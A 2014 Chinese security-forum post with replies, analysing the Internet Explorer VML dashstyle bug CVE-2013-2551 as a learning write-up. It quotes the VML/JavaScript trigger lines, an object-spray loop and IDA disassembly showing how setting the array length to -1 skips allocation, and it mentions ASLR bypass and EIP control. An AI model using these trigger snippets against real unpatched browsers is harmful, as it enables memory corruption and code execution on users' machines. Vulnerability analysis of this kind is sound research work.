首页
社区
课程
招聘
[原创]Advanced Exploitation Technology-Analyze
发表于: 2014-9-8 18:15 5230

[原创]Advanced Exploitation Technology-Analyze

2014-9-8 18:15
5230

中秋佳节,首先祝大家中秋快乐阖家欢!一个人的中秋也是醉了,所有就来看雪发帖啦啦啦!

概述:
漏洞:cve-2013-2551 
环境:win7 sp1 无补丁
主要内容:任意地址读写,泄露DLL基址绕过ALSR,控制EIP

这篇分析(再分析)是小弟我学习漏洞分析过程中的心得体会,拿来与和我一样喜欢网络安全的同学分享一下
行文简陋,如有不对的地方还望大神们多多指教!

附件为分析文章,已转换为PDF,在这里就不贴出来啦!
如果大家想在线看原文的话,也可以访问这里:http://blogs.360.cn/360safe/2014/09/04/advanced-exploitation-technology-analyze/

Advanced Exploitation Technology-Analyze
作者:tedjoy
微博:http://weibo.com/u/2728536082

自我介绍:

作为安全界的新人+菜鸟,最近一直在学习分析各种漏洞利用技巧,所以便有了下文。主要是为了给自己留下个总结,同时也可以跟像我一样对网络安全感兴趣的同学分享下自己的学习心得!本人才疏学浅,若有不对的地方还望大神们多多指教,再此感激不尽!

概述:

漏洞:cve-2013-2551

系统:win7 + IE8 无补丁

主要内容:分析如何绕过ASLR,泄露MSVCRT.DLL基址;控制EIP

我们废话少说,开始正题

漏洞成因简述:

该漏洞是国外“网络军火商”VUPEN发现的,并在2013年的Pwn2Own上用来攻克win8 + IE10,可以在这里查看VUPEN的blog,可以在这里下载4B5F5F4B大牛分享的poc。

先在这里简单分析下漏洞成因,具体的大家可以去VUPEN的blog自己看看。

VML实现了很多形状标签的子元素,其中有一个 Stroke 子元素就是有问题的元素,它有个 dashstyle的属性,我们可以对该属性赋值,代码如下:

<v:oval>
<v:stroke dashstyle=”2 2 2 0 2 2 2 0″/>
</v:oval>
<v:oval>
<v:stroke id=”vml1″>
</v:oval>
 
var vml1 = document.getElementById(“vml1″);
vml1.dashstyle = “11 12 13 15″;
vml1.dashstyle = “11 12 13 15″;
.text:00485BAD; struct COALineDashStyle *__thiscall COAShapeProg::GetOALineDashStyle()
.text:00485BAD                 mov     edi, edi
……
.text:00485BBE                 push    101h            ; int
.text:00485BC3                 push    10h             ; Size
.text:00485BC5                 call     operator new(uint,int)
.text:00485BCA                 test    eax, eax
.text:00485BCC                 pop     ecx
.text:00485BCD                 pop     ecx
.text:00485BCE                 jz      short loc_485BDD
.text:00485BD0                 push    [ebp+arg_0]     ; struct IInternalPeer *
.text:00485BD3                 mov     ecx, eax        ; this
.text:00485BD5                 push    esi             ; struct COAShapeProg *
.text:00485BD6                 call     COALineDashStyle::COALineDashStyle()
.text:00488C5E ; __int32 __stdcall COALineDashStyle::get_array()
.text:00488C5E                 mov     edi, edi
.text:00488C60                 push    ebp
……
.text:00488CCB :
.text:00488CCB                 mov     ecx, [esi+4]    ; this
.text:00488CCE                 push    edi             ; struct IInternalPeer *
.text:00488CCF                 call     COAShapeProg::GetOALineDashStyleArray()
.text:0047D779 ; __int32 __stdcall COALineDashStyle::get_presetStyle()
.text:00485BF5                 mov     edi, edi
.text:00485BF7                 push    ebp
.text:00485BF8                 mov     ebp, esp
……
.text:00485C06                 push    101h            ; int
.text:00485C0B                 push    10h             ; Size
.text:00485C0D                 call     operator new(uint,int)
.text:00485C12                 test    eax, eax
.text:00485C14                 pop     ecx
.text:00485C15                 pop     ecx
.text:00485C16                 jz      short loc_485C25
.text:00485C18                 push    [ebp+arg_0]
.text:00485C1B                 mov     ecx, eax
.text:00485C1D                 push    esi
.text:00485C1E                 call    COALineDashStyleArray::COALineDashStyleArray()
vml1.dashstyle.array.length = 0 – 1;
.text:0047DB3E                 call    dword ptr [eax] ; 返回 ORG对象的地址
.text:0047DB40                 mov     eax, [ebp+this] ; eax 指向ORG对象
.text:0047DB43                 test    eax, eax
.text:0047DB45                 jz      short loc_47DBB8
.text:0047DB47                 mov     ecx, [eax]
.text:0047DB49                 push    eax
.text:0047DB4A                 call    dword ptr [ecx+2Ch] ; 返回数组的长度
.text:0047DB4D                 mov     esi, [ebp+length]
.text:0047DB50                 cmp     eax, esi        ; eax=ORG数组对象的长度,esi=要赋值的新长度0xFFFFFFFF
.text:0047DB52                 jge     short loc_47DBA9 ;跳走触发bug,不跳就会开辟新空间扩展数组
.text:0047DB54                 push    101h            ; int
.text:0047DB59                 sub     esi, eax
.text:0047DB5B                 xor     ecx, ecx
.text:0047DB5D                 push    4
.text:0047DB5F                 pop     edx
.text:0047DB60                 mov     eax, esi
.text:0047DB62                 mul     edx
.text:0047DB64                 seto    cl
.text:0047DB67                 neg     ecx
.text:0047DB69                 or      ecx, eax
.text:0047DB6B                 push    ecx             ; Size
.text:0047DB6C                 operator new(uint,int)
……
.text:0047DBA9 loc_47DBA9:
.text:0047DBA9                 mov     ecx, [ebp+this]
.text:0047DBAC                 mov     edx, [ecx]
.text:0047DBAE                 sub     eax, esi
.text:0047DBB0                 push    eax
.text:0047DBB1                 push    esi
.text:0047DBB2                 push    ecx
.text:0047DBB3                 call    dword ptr [edx+28h] ; 未开辟空间,直接修改长度
for (var i = 0; i < 0×1000; i++) {
a[i] = document.getElementById(“rect” + i.toString())._anchorRect;
if (i == 0xb00 ) {
vml1.dashstyle = “11 12 13 15″;
};
}
for (var i = 0; i < 0×1000; i++) {
a[i] = document.getElementById(“rect” + i.toString())._anchorRect;
}
vml1.dashstyle = “11 12 13 15″;

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 3
支持
分享
最新回复 (19)
雪    币: 57
活跃值: (796)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
支持一下
2014-9-8 19:44
0
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
下了就顶。。虽然没看
2014-9-8 19:50
0
雪    币: 4761
活跃值: (4184)
能力值: ( LV8,RANK:138 )
在线值:
发帖
回帖
粉丝
4
顶了再看…………………………
2014-9-8 20:01
0
雪    币: 6
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
技术不行,看的不是太明白,但是这是却是是个好文章
2014-9-8 20:24
0
雪    币: 729
活跃值: (1195)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
占位见证未来的牛牛。
2014-9-9 08:47
0
雪    币: 257
活跃值: (67)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
来围观一下,支持了
2014-9-9 09:20
0
雪    币: 63
活跃值: (57)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
8
谢谢!多多交流!
2014-9-9 10:13
0
雪    币: 2829
活跃值: (2633)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
9
围观抠脚大汉
2014-9-9 10:36
0
雪    币: 63
活跃值: (57)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
10
还是你抠的好!23333333
2014-9-9 10:42
0
雪    币: 41
活跃值: (159)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
原来是传说中的360漏洞挖掘组新秀,以后多来这里发帖交流啊!
2014-9-9 21:40
0
雪    币: 63
活跃值: (57)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
12
好的!!!
2014-9-10 11:33
0
雪    币: 229
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
13
这么牛X,但是没有看懂
2014-9-10 15:42
0
雪    币: 55
活跃值: (519)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
14
好想学漏洞溢出啊。。。你们这些大神。
2014-9-11 09:11
0
雪    币: 10869
活跃值: (3909)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
支持围观了,感谢分享了
2014-9-11 19:01
0
雪    币: 30
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
支持一下,感谢分享!
2014-9-15 09:17
0
雪    币: 35
活跃值: (29)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
漏洞利用重要的地方都没讲,最多也就是漏洞分析,称不上是Advanced Exploitation Technology-Analyze
2014-9-19 15:15
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
18
过ASLR+过page heap,神洞啊
2014-9-21 00:17
0
雪    币: 33
活跃值: (27)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
19
楼主你肾呢?
2014-10-7 15:46
0
雪    币: 249
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
20
好文章!
2014-10-13 10:30
0
游客
登录 | 注册 方可回帖
返回
//